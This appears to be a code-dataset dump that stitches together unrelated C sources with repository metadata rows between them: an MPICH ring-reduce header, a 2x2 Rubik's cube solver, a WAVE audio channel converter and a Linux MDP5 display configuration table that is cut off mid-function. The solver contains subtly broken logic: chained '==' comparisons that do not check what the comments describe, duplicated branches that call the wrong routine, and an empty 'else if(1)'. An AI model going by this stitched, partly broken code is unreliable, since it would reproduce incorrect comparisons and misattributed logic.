#define MPIR_TSP_Ireduce_sched_intra_ring MPIR_TSP_NAMESPACE(Ireduce_sched_intra_ring)
int MPIR_TSP_Ireduce_sched_intra_ring(const void *sendbuf, void *recvbuf, int count,
MPI_Datatype datatype, MPI_Op op, int root,
MPIR_Comm * comm, int segsize, MPIR_TSP_sched_t * sched);
int MPIR_TSP_Ireduce_intra_ring(const void *sendbuf, void *recvbuf, int count,
MPI_Datatype datatype, MPI_Op op, int root, MPIR_Comm * comm,
MPIR_Request ** req, int segsize);
| [
"raffenet@users.noreply.github.com"
] | raffenet@users.noreply.github.com |
0dad5d7859be16eb487d1aefc5d650203ba82c1d | 0702ded3a66b4f0101f18bdc4a7ae49e204a23d6 | /firstStep.c | 9bd1e7082fb846ab4ec4b99e12f6dc39206cd5bd | [
"MIT"
] | permissive | Ardustorm/2x2_solver | a189b17583451fdf863b482e647aeed3a2121e17 | cf29bbd1e014fb234e89ccc22f8b4665fd1e3e0e | refs/heads/master | 2021-01-19T07:46:05.968586 | 2014-03-18T13:35:12 | 2014-03-18T13:35:12 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,166 | c | #include "solver_v1.c"
//Now the bottom is oriented as this:
// X X
// X ?
//defines functions before hand
void step1B();
void step1Ba();
void step1Bb();
void step1Bc();
void step1Bd();
void step1Be();
void step1Bf();
void step1Bg();
void step1Bh();
void step1A();
void step1Aa();
void step1Ab();
void step1Ac();
void step1Ad();
void step1Ae();
void step1Af();
void step1Ag();
void step1Ah();
void step1() {
if(righty_cn[1][0] == down[0][0]) {
//this is the second row on: http://www.amvhell.com/stuff/cubes/guimond/guimond.html
step1B(); }
else if(front_cn[1][1] == down[0][0]) {
//and this the first row
step1A(); }}
void step1B() {
combineColors();
int BottomColor = down_cn[0][1];
//step1Ba
if( up_cn[0][0] == up_cn[0][1] == lefty_cn[0][1] == front_cn[0][1] == BottomColor) { step1Ba(); }
else if(back_cn[0][1] == up_cn[0][1] == lefty_cn[0][1] == up_cn[1][1] == BottomColor) { R(prime);step1Ba();}
else if(back_cn[0][1] == righty_cn[0][1] == up_cn[1][0] == up_cn[1][1] == BottomColor) { R(2);step1Ba();}
else if(up_cn[0][0] == righty_cn[0][1] == up_cn[1][0] == front_cn[0][1] == BottomColor) { R();step1Ba();}
//step1Bb
else if( up_cn[0][0] == righty_cn[0][1] == lefty_cn[0][1] == up_cn[1][1] == BottomColor) { step1Bb(); }
else if(back_cn[0][1] == up_cn[0][1] == lefty_cn[0][1] == up_cn[1][1] == BottomColor) { R(prime);step1Ba();}
else if(back_cn[0][1] == righty_cn[0][1] == up_cn[1][0] == up_cn[1][1] == BottomColor) { R(2);step1Ba();}
else if(up_cn[0][0] == righty_cn[0][1] == up_cn[1][0] == front_cn[0][1] == BottomColor) { R();step1Ba();}
//step1Bc
else if( back_cn[0][1] == back_cn[0][0] == front_cn[0][0] == up_cn[1][1] == BottomColor) { step1Bc(); }
else if(lefty_cn[0][0] == righty_cn[0][1] == righty_cn[0][0] == up_cn[1][0] == BottomColor) { R(prime);step1Bc();}
else if(up_cn[0][0] == back_cn[0][0] == front_cn[0][0] == front_cn[0][1] == BottomColor) { R(2);step1Bc();}
else if(lefty_cn[0][0] == up_cn[0][1] == lefty_cn[0][1] == righty_cn[0][0] == BottomColor) { R();step1Bc();}
}
//These algs. are from row 2 of the website.
void step1Ba() { R(); U(prime); R(prime);}
void step1Bb() { F(prime); U(prime); F(); }
void step1Bc() { F(prime); U(2); F(); }
void step1Bd() { R(2); U(); R(prime);}
void step1Be() { F(); R(); U(); R(prime);}
void step1Bf() { R(2); F(2); U(); R();}
void step1Bg() { R(); B(2); U(prime); R(prime);}
void step1Bh() { R(prime); U(2); F(); R(2); U(prime); R(prime);}
void step1A() {
combineColors();
int BottomColor = down_cn[0][1];
//step1Ba
if( lefty_cn[0][0] == back_cn[0][0] == up_cn[1][0] == up_cn[1][1] == BottomColor) { step1Aa(); }
else if(1){
}
}
//These algs. are from row 1 of the website.
void step1Aa() { F(prime); U(); F();}
void step1Ab() { R(); U(); R(prime);}
void step1Ac() { R(); U(2); R(prime);}
void step1Ad() { F(2); U(prime); R();}
void step1Ae() { B(); U(); B(prime); R(prime);}
void step1Af() { F(2); L(2); U(prime); L(prime);}
void step1Ag() { B(prime); U(2); R(); B();}
void step1Ah() { F(); U(prime); F(prime); L(); F(2);L(prime);}
| [
"luke24601@gmail.com"
] | luke24601@gmail.com |
feb30864af2f57baad27af6434d11c3fb3305384 | 6d20ec7f0462613d9585647d348979858baa75e0 | /src/wave/wave_canal.c | 3c94690026e70485752f0052c38c801588f95a28 | [] | no_license | Seinic-Mihai/WAVE-audio_format_editor | 85d0d0fe58f8d41029ac9cfec6ee2a892d2777fd | d3129ecda2486f08ccadf56c452b2b9c7d57fc91 | refs/heads/master | 2021-01-17T14:20:20.561860 | 2017-03-06T14:59:38 | 2017-03-06T14:59:38 | 84,085,935 | 0 | 1 | null | null | null | null | UTF-8 | C | false | false | 797 | c | #include "wave.h"
wave_t *wave_canal(wave_t *wave, uint16_t c)
{
wave_t *w;
uint32_t k = 0;
uint32_t i = 0;
uint16_t j = 0;
w = wave_new(W_SAMPLE_RATE(wave),W_BITS_PER_SAMPLE(wave),c,W_DATA_SIZE(wave)/W_BLOCK_ALIGN(wave));
if(W_CHANNELS(wave) > c)
{
while (i < W_DATA_SIZE(wave))
{
j = 0;
while (j < c * W_BITS_PER_SAMPLE(wave) / 8)
{
W_DATA(w)[k] = W_DATA(wave)[i + j];
k++;
j++;
}
i += W_BLOCK_ALIGN(wave);
}
}
else
{
while (i < W_DATA_SIZE(wave))
{
j = 0;
while (j < c * W_BITS_PER_SAMPLE(wave) / 8)
{
if (j < W_CHANNELS(wave))
W_DATA(w)[k] = W_DATA(wave)[i+j];
else
W_DATA(w)[k] = W_DATA(wave)[i + W_CHANNELS(wave) - 1];
k++;
j++;
}
i += W_BLOCK_ALIGN(wave);
}
}
wave_delete(&wave);
return (w);
}
| [
"mseinic@student.42.fr"
] | mseinic@student.42.fr |
6b2c33f95148a98a26643fdd817dea314fc2f5da | f5008df5aab5615d39a9847fa09f9581f7b19a5f | /linux-5.4.38/drivers/gpu/drm/msm/disp/mdp5/mdp5_cfg.c | f6e71ff539cab1d4d2b47e6da911c22b947700cb | [
"Linux-syscall-note",
"GPL-2.0-only",
"Apache-2.0"
] | permissive | wenhuizhang/llvm-linux-5.4.38 | 2f3f44287dbb1445cd7d4670df8bfc9873441558 | bd6678fbd3635428a6d594dbb24a87b9308a52ef | refs/heads/main | 2023-01-07T09:57:19.452542 | 2020-11-01T04:20:46 | 2020-11-01T04:20:46 | 303,426,734 | 0 | 0 | Apache-2.0 | 2020-11-01T04:20:47 | 2020-10-12T15:00:48 | C | UTF-8 | C | false | false | 19,001 | c | // SPDX-License-Identifier: GPL-2.0-only
/*
* Copyright (c) 2014-2015 The Linux Foundation. All rights reserved.
*/
#include "mdp5_kms.h"
#include "mdp5_cfg.h"
struct mdp5_cfg_handler {
int revision;
struct mdp5_cfg config;
};
/* mdp5_cfg must be exposed (used in mdp5.xml.h) */
const struct mdp5_cfg_hw *mdp5_cfg = NULL;
const struct mdp5_cfg_hw msm8x74v1_config = {
.name = "msm8x74v1",
.mdp = {
.count = 1,
.caps = MDP_CAP_SMP |
0,
},
.smp = {
.mmb_count = 22,
.mmb_size = 4096,
.clients = {
[SSPP_VIG0] = 1, [SSPP_VIG1] = 4, [SSPP_VIG2] = 7,
[SSPP_DMA0] = 10, [SSPP_DMA1] = 13,
[SSPP_RGB0] = 16, [SSPP_RGB1] = 17, [SSPP_RGB2] = 18,
},
},
.ctl = {
.count = 5,
.base = { 0x00500, 0x00600, 0x00700, 0x00800, 0x00900 },
.flush_hw_mask = 0x0003ffff,
},
.pipe_vig = {
.count = 3,
.base = { 0x01100, 0x01500, 0x01900 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_CSC |
0,
},
.pipe_rgb = {
.count = 3,
.base = { 0x01d00, 0x02100, 0x02500 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
0,
},
.pipe_dma = {
.count = 2,
.base = { 0x02900, 0x02d00 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
0,
},
.lm = {
.count = 5,
.base = { 0x03100, 0x03500, 0x03900, 0x03d00, 0x04100 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = 2,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB },
},
.nb_stages = 5,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 3,
.base = { 0x04500, 0x04900, 0x04d00 },
},
.pp = {
.count = 3,
.base = { 0x21a00, 0x21b00, 0x21c00 },
},
.intf = {
.base = { 0x21000, 0x21200, 0x21400, 0x21600 },
.connect = {
[0] = INTF_eDP,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 200000000,
};
const struct mdp5_cfg_hw msm8x74v2_config = {
.name = "msm8x74",
.mdp = {
.count = 1,
.caps = MDP_CAP_SMP |
0,
},
.smp = {
.mmb_count = 22,
.mmb_size = 4096,
.clients = {
[SSPP_VIG0] = 1, [SSPP_VIG1] = 4, [SSPP_VIG2] = 7,
[SSPP_DMA0] = 10, [SSPP_DMA1] = 13,
[SSPP_RGB0] = 16, [SSPP_RGB1] = 17, [SSPP_RGB2] = 18,
},
},
.ctl = {
.count = 5,
.base = { 0x00500, 0x00600, 0x00700, 0x00800, 0x00900 },
.flush_hw_mask = 0x0003ffff,
},
.pipe_vig = {
.count = 3,
.base = { 0x01100, 0x01500, 0x01900 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION,
},
.pipe_rgb = {
.count = 3,
.base = { 0x01d00, 0x02100, 0x02500 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_DECIMATION,
},
.pipe_dma = {
.count = 2,
.base = { 0x02900, 0x02d00 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP,
},
.lm = {
.count = 5,
.base = { 0x03100, 0x03500, 0x03900, 0x03d00, 0x04100 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = 2,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
},
.nb_stages = 5,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 3,
.base = { 0x04500, 0x04900, 0x04d00 },
},
.ad = {
.count = 2,
.base = { 0x13000, 0x13200 },
},
.pp = {
.count = 3,
.base = { 0x12c00, 0x12d00, 0x12e00 },
},
.intf = {
.base = { 0x12400, 0x12600, 0x12800, 0x12a00 },
.connect = {
[0] = INTF_eDP,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 200000000,
};
const struct mdp5_cfg_hw apq8084_config = {
.name = "apq8084",
.mdp = {
.count = 1,
.caps = MDP_CAP_SMP |
MDP_CAP_SRC_SPLIT |
0,
},
.smp = {
.mmb_count = 44,
.mmb_size = 8192,
.clients = {
[SSPP_VIG0] = 1, [SSPP_VIG1] = 4,
[SSPP_VIG2] = 7, [SSPP_VIG3] = 19,
[SSPP_DMA0] = 10, [SSPP_DMA1] = 13,
[SSPP_RGB0] = 16, [SSPP_RGB1] = 17,
[SSPP_RGB2] = 18, [SSPP_RGB3] = 22,
},
.reserved_state[0] = GENMASK(7, 0), /* first 8 MMBs */
.reserved = {
/* Two SMP blocks are statically tied to RGB pipes: */
[16] = 2, [17] = 2, [18] = 2, [22] = 2,
},
},
.ctl = {
.count = 5,
.base = { 0x00500, 0x00600, 0x00700, 0x00800, 0x00900 },
.flush_hw_mask = 0x003fffff,
},
.pipe_vig = {
.count = 4,
.base = { 0x01100, 0x01500, 0x01900, 0x01d00 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION,
},
.pipe_rgb = {
.count = 4,
.base = { 0x02100, 0x02500, 0x02900, 0x02d00 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_DECIMATION,
},
.pipe_dma = {
.count = 2,
.base = { 0x03100, 0x03500 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP,
},
.lm = {
.count = 6,
.base = { 0x03900, 0x03d00, 0x04100, 0x04500, 0x04900, 0x04d00 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = 2,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 5, .pp = 3, .dspp = 3,
.caps = MDP_LM_CAP_DISPLAY, },
},
.nb_stages = 5,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 4,
.base = { 0x05100, 0x05500, 0x05900, 0x05d00 },
},
.ad = {
.count = 3,
.base = { 0x13400, 0x13600, 0x13800 },
},
.pp = {
.count = 4,
.base = { 0x12e00, 0x12f00, 0x13000, 0x13100 },
},
.intf = {
.base = { 0x12400, 0x12600, 0x12800, 0x12a00, 0x12c00 },
.connect = {
[0] = INTF_eDP,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 320000000,
};
const struct mdp5_cfg_hw msm8x16_config = {
.name = "msm8x16",
.mdp = {
.count = 1,
.base = { 0x0 },
.caps = MDP_CAP_SMP |
0,
},
.smp = {
.mmb_count = 8,
.mmb_size = 8192,
.clients = {
[SSPP_VIG0] = 1, [SSPP_DMA0] = 4,
[SSPP_RGB0] = 7, [SSPP_RGB1] = 8,
},
},
.ctl = {
.count = 5,
.base = { 0x01000, 0x01200, 0x01400, 0x01600, 0x01800 },
.flush_hw_mask = 0x4003ffff,
},
.pipe_vig = {
.count = 1,
.base = { 0x04000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION,
},
.pipe_rgb = {
.count = 2,
.base = { 0x14000, 0x16000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_DECIMATION,
},
.pipe_dma = {
.count = 1,
.base = { 0x24000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP,
},
.lm = {
.count = 2, /* LM0 and LM3 */
.base = { 0x44000, 0x47000 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB },
},
.nb_stages = 8,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 1,
.base = { 0x54000 },
},
.intf = {
.base = { 0x00000, 0x6a800 },
.connect = {
[0] = INTF_DISABLED,
[1] = INTF_DSI,
},
},
.max_clk = 320000000,
};
const struct mdp5_cfg_hw msm8x94_config = {
.name = "msm8x94",
.mdp = {
.count = 1,
.caps = MDP_CAP_SMP |
MDP_CAP_SRC_SPLIT |
0,
},
.smp = {
.mmb_count = 44,
.mmb_size = 8192,
.clients = {
[SSPP_VIG0] = 1, [SSPP_VIG1] = 4,
[SSPP_VIG2] = 7, [SSPP_VIG3] = 19,
[SSPP_DMA0] = 10, [SSPP_DMA1] = 13,
[SSPP_RGB0] = 16, [SSPP_RGB1] = 17,
[SSPP_RGB2] = 18, [SSPP_RGB3] = 22,
},
.reserved_state[0] = GENMASK(23, 0), /* first 24 MMBs */
.reserved = {
[1] = 1, [4] = 1, [7] = 1, [19] = 1,
[16] = 5, [17] = 5, [18] = 5, [22] = 5,
},
},
.ctl = {
.count = 5,
.base = { 0x01000, 0x01200, 0x01400, 0x01600, 0x01800 },
.flush_hw_mask = 0xf0ffffff,
},
.pipe_vig = {
.count = 4,
.base = { 0x04000, 0x06000, 0x08000, 0x0a000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION,
},
.pipe_rgb = {
.count = 4,
.base = { 0x14000, 0x16000, 0x18000, 0x1a000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE | MDP_PIPE_CAP_DECIMATION,
},
.pipe_dma = {
.count = 2,
.base = { 0x24000, 0x26000 },
.caps = MDP_PIPE_CAP_HFLIP | MDP_PIPE_CAP_VFLIP,
},
.lm = {
.count = 6,
.base = { 0x44000, 0x45000, 0x46000, 0x47000, 0x48000, 0x49000 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = 2,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 5, .pp = 3, .dspp = 3,
.caps = MDP_LM_CAP_DISPLAY, },
},
.nb_stages = 8,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 4,
.base = { 0x54000, 0x56000, 0x58000, 0x5a000 },
},
.ad = {
.count = 3,
.base = { 0x78000, 0x78800, 0x79000 },
},
.pp = {
.count = 4,
.base = { 0x70000, 0x70800, 0x71000, 0x71800 },
},
.intf = {
.base = { 0x6a000, 0x6a800, 0x6b000, 0x6b800, 0x6c000 },
.connect = {
[0] = INTF_DISABLED,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 400000000,
};
const struct mdp5_cfg_hw msm8x96_config = {
.name = "msm8x96",
.mdp = {
.count = 1,
.caps = MDP_CAP_DSC |
MDP_CAP_CDM |
MDP_CAP_SRC_SPLIT |
0,
},
.ctl = {
.count = 5,
.base = { 0x01000, 0x01200, 0x01400, 0x01600, 0x01800 },
.flush_hw_mask = 0xf4ffffff,
},
.pipe_vig = {
.count = 4,
.base = { 0x04000, 0x06000, 0x08000, 0x0a000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_rgb = {
.count = 4,
.base = { 0x14000, 0x16000, 0x18000, 0x1a000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_dma = {
.count = 2,
.base = { 0x24000, 0x26000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_cursor = {
.count = 2,
.base = { 0x34000, 0x36000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
MDP_PIPE_CAP_CURSOR |
0,
},
.lm = {
.count = 6,
.base = { 0x44000, 0x45000, 0x46000, 0x47000, 0x48000, 0x49000 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = -1,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 5, .pp = 3, .dspp = -1,
.caps = MDP_LM_CAP_DISPLAY, },
},
.nb_stages = 8,
.max_width = 2560,
.max_height = 0xFFFF,
},
.dspp = {
.count = 2,
.base = { 0x54000, 0x56000 },
},
.ad = {
.count = 3,
.base = { 0x78000, 0x78800, 0x79000 },
},
.pp = {
.count = 4,
.base = { 0x70000, 0x70800, 0x71000, 0x71800 },
},
.cdm = {
.count = 1,
.base = { 0x79200 },
},
.dsc = {
.count = 2,
.base = { 0x80000, 0x80400 },
},
.intf = {
.base = { 0x6a000, 0x6a800, 0x6b000, 0x6b800, 0x6c000 },
.connect = {
[0] = INTF_DISABLED,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 412500000,
};
const struct mdp5_cfg_hw msm8917_config = {
.name = "msm8917",
.mdp = {
.count = 1,
.caps = MDP_CAP_CDM,
},
.ctl = {
.count = 3,
.base = { 0x01000, 0x01200, 0x01400 },
.flush_hw_mask = 0xffffffff,
},
.pipe_vig = {
.count = 1,
.base = { 0x04000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_rgb = {
.count = 2,
.base = { 0x14000, 0x16000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_dma = {
.count = 1,
.base = { 0x24000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_cursor = {
.count = 1,
.base = { 0x34000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
MDP_PIPE_CAP_CURSOR |
0,
},
.lm = {
.count = 2,
.base = { 0x44000, 0x45000 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 1, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB },
},
.nb_stages = 8,
.max_width = 2048,
.max_height = 0xFFFF,
},
.dspp = {
.count = 1,
.base = { 0x54000 },
},
.pp = {
.count = 1,
.base = { 0x70000 },
},
.cdm = {
.count = 1,
.base = { 0x79200 },
},
.intf = {
.base = { 0x6a000, 0x6a800 },
.connect = {
[0] = INTF_DISABLED,
[1] = INTF_DSI,
},
},
.max_clk = 320000000,
};
const struct mdp5_cfg_hw msm8998_config = {
.name = "msm8998",
.mdp = {
.count = 1,
.caps = MDP_CAP_DSC |
MDP_CAP_CDM |
MDP_CAP_SRC_SPLIT |
0,
},
.ctl = {
.count = 5,
.base = { 0x01000, 0x01200, 0x01400, 0x01600, 0x01800 },
.flush_hw_mask = 0xf7ffffff,
},
.pipe_vig = {
.count = 4,
.base = { 0x04000, 0x06000, 0x08000, 0x0a000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_CSC |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_rgb = {
.count = 4,
.base = { 0x14000, 0x16000, 0x18000, 0x1a000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SCALE |
MDP_PIPE_CAP_DECIMATION |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_dma = {
.count = 2, /* driver supports max of 2 currently */
.base = { 0x24000, 0x26000, 0x28000, 0x2a000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
0,
},
.pipe_cursor = {
.count = 2,
.base = { 0x34000, 0x36000 },
.caps = MDP_PIPE_CAP_HFLIP |
MDP_PIPE_CAP_VFLIP |
MDP_PIPE_CAP_SW_PIX_EXT |
MDP_PIPE_CAP_CURSOR |
0,
},
.lm = {
.count = 6,
.base = { 0x44000, 0x45000, 0x46000, 0x47000, 0x48000, 0x49000 },
.instances = {
{ .id = 0, .pp = 0, .dspp = 0,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 1, .pp = 1, .dspp = 1,
.caps = MDP_LM_CAP_DISPLAY, },
{ .id = 2, .pp = 2, .dspp = -1,
.caps = MDP_LM_CAP_DISPLAY |
MDP_LM_CAP_PAIR, },
{ .id = 3, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 4, .pp = -1, .dspp = -1,
.caps = MDP_LM_CAP_WB, },
{ .id = 5, .pp = 3, .dspp = -1,
.caps = MDP_LM_CAP_DISPLAY, },
},
.nb_stages = 8,
.max_width = 2560,
.max_height = 0xFFFF,
},
.dspp = {
.count = 2,
.base = { 0x54000, 0x56000 },
},
.ad = {
.count = 3,
.base = { 0x78000, 0x78800, 0x79000 },
},
.pp = {
.count = 4,
.base = { 0x70000, 0x70800, 0x71000, 0x71800 },
},
.cdm = {
.count = 1,
.base = { 0x79200 },
},
.dsc = {
.count = 2,
.base = { 0x80000, 0x80400 },
},
.intf = {
.base = { 0x6a000, 0x6a800, 0x6b000, 0x6b800, 0x6c000 },
.connect = {
[0] = INTF_eDP,
[1] = INTF_DSI,
[2] = INTF_DSI,
[3] = INTF_HDMI,
},
},
.max_clk = 412500000,
};
static const struct mdp5_cfg_handler cfg_handlers_v1[] = {
{ .revision = 0, .config = { .hw = &msm8x74v1_config } },
{ .revision = 2, .config = { .hw = &msm8x74v2_config } },
{ .revision = 3, .config = { .hw = &apq8084_config } },
{ .revision = 6, .config = { .hw = &msm8x16_config } },
{ .revision = 9, .config = { .hw = &msm8x94_config } },
{ .revision = 7, .config = { .hw = &msm8x96_config } },
{ .revision = 15, .config = { .hw = &msm8917_config } },
};
static const struct mdp5_cfg_handler cfg_handlers_v3[] = {
{ .revision = 0, .config = { .hw = &msm8998_config } },
};
static struct mdp5_cfg_platform *mdp5_get_config(struct platform_device *dev);
const struct mdp5_cfg_hw *mdp5_cfg_get_hw_config(struct mdp5_cfg_handler *cfg_handler)
{
return cfg_handler->config.hw;
}
struct mdp5_cfg *mdp5_cfg_get_config(struct mdp5_cfg_handler *cfg_handler)
{
return &cfg_handler->config;
}
int mdp5_cfg_get_hw_rev(struct mdp5_cfg_handler *cfg_handler)
{
return cfg_handler->revision;
}
void mdp5_cfg_destroy(struct mdp5_cfg_handler *cfg_handler)
{
kfree(cfg_handler);
}
struct mdp5_cfg_handler *mdp5_cfg_init(struct mdp5_kms *mdp5_kms,
uint32_t major, uint32_t minor)
{
struct drm_device *dev = mdp5_kms->dev;
struct platform_device *pdev = to_platform_device(dev->dev);
struct mdp5_cfg_handler *cfg_handler;
const struct mdp5_cfg_handler *cfg_handlers;
struct mdp5_cfg_platform *pconfig;
int i, ret = 0, num_handlers;
cfg_handler = kzalloc(sizeof(*cfg_handler), GFP_KERNEL);
if (unlikely(!cfg_handler)) {
ret = -ENOMEM;
goto fail;
}
switch (major) {
case 1:
cfg_handlers = cfg_handlers_v1;
num_handlers = ARRAY_SIZE(cfg_handlers_v1);
break;
case 3:
cfg_handlers = cfg_handlers_v3;
num_handlers = ARRAY_SIZE(cfg_handlers_v3);
break;
default:
DRM_DEV_ERROR(dev->dev, "unexpected MDP major version: v%d.%d\n",
major, minor);
ret = -ENXIO;
goto fail;
};
/* only after mdp5_cfg global pointer's init can we access the hw */
for (i = 0; i < num_handlers; i++) {
if (cfg_handlers[i].revision != minor)
continue;
mdp5_cfg = cfg_handlers[i].config.hw;
break;
}
if (unlikely(!mdp5_cfg)) {
DRM_DEV_ERROR(dev->dev, "unexpected MDP minor revision: v%d.%d\n",
major, minor);
ret = -ENXIO;
goto fail;
}
cfg_handler->revision = minor;
cfg_handler->config.hw = mdp5_cfg;
